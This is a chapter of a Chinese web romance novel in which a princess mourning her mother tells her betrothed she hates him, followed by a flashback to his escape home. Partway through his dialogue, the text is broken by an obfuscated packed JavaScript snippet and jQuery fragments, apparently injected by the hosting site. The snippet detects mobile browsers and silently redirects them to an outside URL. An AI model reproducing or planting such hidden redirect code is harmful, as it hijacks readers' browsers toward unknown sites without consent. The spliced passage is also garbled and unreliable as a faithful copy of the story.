96. 我恨你

作品:《宿敌多情

    老妪笑得脸上的褶子深了几分,道:“是啊,当年明妃亦是造福百姓,明锦公主真真是遗传了明妃的慈悲心肠,听说明锦公主与定宁少主还是两情相悦,好一段金玉良缘啊。”


    听着这老妪和老翁的话,住持苍老指节抵在深褐佛珠上,半晌才幽幽摇头叹出一口白气。


    相微满微微怔住,原本拒绝和亲的心在此刻动摇了。


    她本就是为了明妃的性命才答应济帝嫁给祁羡,可如今明妃自戕,她本已然没了由头还要嫁与祁羡。


    此刻她听着这些话,心中说不出的滋味。


    是了,她授农耕,改造木犁,水车,农具……本就是造福百姓,如今百姓知晓她去敌国和亲,便能保两国太平数十年,又哪儿能不喜?


    香炉里最后一缕青烟消散时,老夫妇的对话仍在耳畔萦绕。这些词句化作细针,密密匝匝刺进太阳穴。


    相微满苦笑一声:两情相悦么?


    她想起前两日偶然之间去了户部,进门便听见有两个小官员在低声私语:“明锦公主从前不是与方大人两情相悦么?如今方大人成了定宁少主,这不是好事?明锦公主还有什么不满的?公主这般拿乔……”


    另一人不屑地轻嗤一声:“呵,你懂什么?天家贵女总要演一出欲拒还迎……”


    相微满只站在原地静静听着,寒意顺着脚心直窜脊梁。还是碧玉听不下去了,直接冲上去大喊道:“你们两个说什么呢!我们公主是你们能议论的么?!”


    见状,那两名官员回头一瞧,看见相微满的那一刻立刻吓得站了起来,连忙给她赔不是。


    相微满看清那两个年轻官员骤然惨白的脸,没理他们,只是转身就走了。


    雪越下越大,渐渐淹去殿外石阶,那里早已覆上三寸新雪。相微满望着老夫妇互相搀扶着蹒跚而去的背影,在茫茫雪幕中渐次淡成两个墨点。忽然又想起画师那时所绘的那幅画像。


    她面向殿外白雪皑皑,寒风卷着雪粒子飘进来,相微满只是抿了抿唇,没再多说什么。


    ……


    明妃离世时,废妃的圣旨尚未下来,可能是济帝还念着年少情分在,还是将明妃以妃嫔的规格下葬。


    相微满作为女儿,理当披麻戴孝,守在灵前。


    灵堂里的青烟凝成细缕,檀香混着纸灰的焦苦味在梁柱间游荡。她跪坐在火盆前,麻木的指尖捏着黄纸钱,一片片往跃动的火舌里送。


    冬日的寒气透着素麻孝衣往骨缝里钻,她却觉着那簇青蓝火焰正舔舐着五脏六腑,将仅存的热气都抽尽了。即使身后响起细微的脚步,相微满也没理。


    脚步很轻,可相微满还是听见了,这脚步声她太熟悉,以至于都不用转头便知是谁来了。


    祁羡今日亦是一身白,他撩袍跪在蒲团上,纠结的看着她,满心愧疚:“对不住,我也不知……本来都安排妥当了。”


    他都安排好了将明妃带离大济的所有事宜,可才安排好,便听到了明妃在牢中自戕的消息。


    相微满没转头,盯着火盆里卷曲的纸钱,一片焦黑边缘忽地窜起金红火苗,火光越来越大,橙黄色映在她脸上。


    “祁羡。”她很轻的开口,“放过我罢,算我求你……”


    放过她罢,她要承受不住了,她什么都没有了。


    她知道明妃的事没办法怪祁羡,但相微满没办法,她也不能将这件事与祁羡摘个干净。


    她爱他,也恨他。


    爱与恨不能抵消,故而便只能在这种爱恨交织中痛苦的挣扎,似是万千只手不断的撕扯她,要将她生吞活剥,方才算完。


    相微满没办法顶着恨意,继续毫无顾忌的去爱。


    她想了,若去和亲,往后余生她与祁羡不过是互相折磨,无休无止的折磨。


    这句话落在祁羡心上,让他狠狠一僵,心中泛起密密麻麻的刺痛,可他看着短短几日又消瘦了一圈的相微满,心中到底不忍。


    他身侧的手指蜷了蜷,眼眶抑制不住的红了,甚至都没发现自己的声音都打着颤:“微满,能不能别这样同我讲话……”


    他的声音浸在穿堂风里,打着颤往人心里钻。


    闻言,相微满似是总算愿转头看他一眼,祁羡看见她抬起的面庞在烛影里泛着冷玉似的清白,眼尾洇开红。她望着他的眼神让他想起幼时猎场里濒死的幼鹿——那种将碎未碎的眸光,却满是绝望。


    她直视着祁羡,这一次她没再与他刻意疏离,声音轻柔许多,就像从前许多次他们诉说家常般:“祁羡,我不知道该怎样面对你,爱恨情仇,于我而言……太难分了。”


    这一年,叫他们都变了许多,爱恨交杂,相微满也分不清了。


    “你说不出一个月便回来,可我等了你半年,你说护我周全,可宫变时你在哪儿?这半年里,你又可知我是如何过的?”相微满眸中蓄着泪,很轻的蹙了蹙眉,“祁羡,你要我如何信你?”


    纵使是假死,也不愿传个信告诉她……


    灵幡被风吹得猎猎作响,烛台上积着层层叠叠的烛泪。相微满望着明妃棺椁前摇曳的长明灯,忽想起那日明妃临咽气时,轻轻握着她的手说:“莫怨他。”


    可她怎能不怨?但怨来怨去,也只能怨他们同生在帝王家,身不由己罢了。


    就像他们之间,纵使掏心掏肺地爱过,可到底还是要在皇权倾轧下结成这样的痂——看着是好了,碰一碰却连着血肉。


    祁羡百口莫辩。


    说着,她看向祁羡的目光中竟多了几分无助,咽下哽咽,声音很微弱:“祁羡,我恨你。”


    比起恨,如今对相微满而言,爱更难说出口,可这句“我恨你”,也要艰难许多。


    祁羡给了她太多太多,以至于相微满放不下爱,狠不下心恨,这种感觉只能无休止的折磨着她,让她日夜难安。


    祁羡懂相微满的痛苦,他轻轻抱住相微满,轻抚着她的头,声音闷在她发间,安慰道:“没关系,恨我罢,一直恨我也没关系……


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15269476|151139||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    只要别厌恶我就好。”


    他愿意承受这恨意,哪怕用一生去偿还。


    听着他的话,相微满心中更难受了,像是一只无形的手将她的心捏到变形,她紧紧抓着祁羡的衣服,痛苦的闭上眼。


    “为何?为何是我?为何偏偏是我……”哽咽噎在喉头化作细碎的颤音,泪珠止不住的滚滚滑落。


    以为这些天的眼泪都流干了,可如今竟还能落下几分泪。


    明明……在她答应和亲的那一刻,她就试图说服了自己原谅祁羡,她可以原谅他的欺骗,咽下所有委屈,可如今…如今这要她如何原谅?如何能心安理得的嫁给他?


    她想恨世事无常,想恨上天薄待她,想恨为何当初宫变死的为何不是自己,可到头来,她还得活。


    她得活,随禾才能活。


    祁羡的怀抱收得更紧,紧紧抱着她,嗓音沙哑:“是我对不住你。”


    温热水迹滑过相微满的脸颊,不知是谁的泪。


    半年前……


    祁羡前往边疆,他所住的客栈突然之间闯出一群黑衣人,看见他便拔剑向他刺来,纠缠半天,其中一个黑衣人猛地将客栈的所有酒缸摔碎在地,一把火,整个房子都烧了起来。


    热浪卷着火星舔过后颈,他自是知道是何人所为,虽早就做好了打算,可还是免不得一身伤,只好翻窗逃出,身上几处伤口还在渗血,脸上满是灰尘,着实狼狈。


    可他顾不得其他,随意将衣服撕扯下来缠上伤口,纵马时夜风灌进伤口,像万千把冰刃在剜着骨缝。


    祁羡纵马连夜回到了定宁,一天一夜尚未合眼。


    好在他赶到的及时,纵马直奔皇宫,甚至在皇宫口守着的侍卫瞧着他这架势都未来得及阻拦。


    还是禁军统领率军持剑破空而来,才让祁羡拉紧了缰绳,统领厉声道:“何人如此嚣张!竟敢擅闯皇宫!”


    祁羡如今这般脸上沾了灰,加之禁军统领上次见他还是祁羡十五岁时,故而便没认出他。


    闻言,祁羡滚鞍下马时踉跄半步,左肩的伤迸裂染透半幅衣袖,他快步走到禁军统领面前,抹了两下脸上的灰,却也没好多少:“师父,是我。”


    禁军统领愣了愣,沙尘混着血污的面容让老统领瞳孔骤缩,缓了好半晌才反应过来,震惊的看着他:“祁羡?!你……怎么突然回来了?”


    他心想:祁羡如今不应该在大济么?


    祁羡没时间和他多说,翻身重新上马:“回来和你说。”说完便纵马直冲御书房。


    他知父亲这个时间都在御书房理事,便直接去了。


    果不其然,总管守在门口,看见祁羡时手中拂尘啪嗒坠地,愣了:“少主?!这……”


    祁羡没理他,直接推开大门进去,还没走几步,便听见殿中传出的声音:“国君明鉴啊!大济欺人太甚!竟害死我定宁少主,您定要给少主讨个说法啊!”


    闻言,祁羡冷嗤一声,大步迈进去,嗓音低沉:“是么?”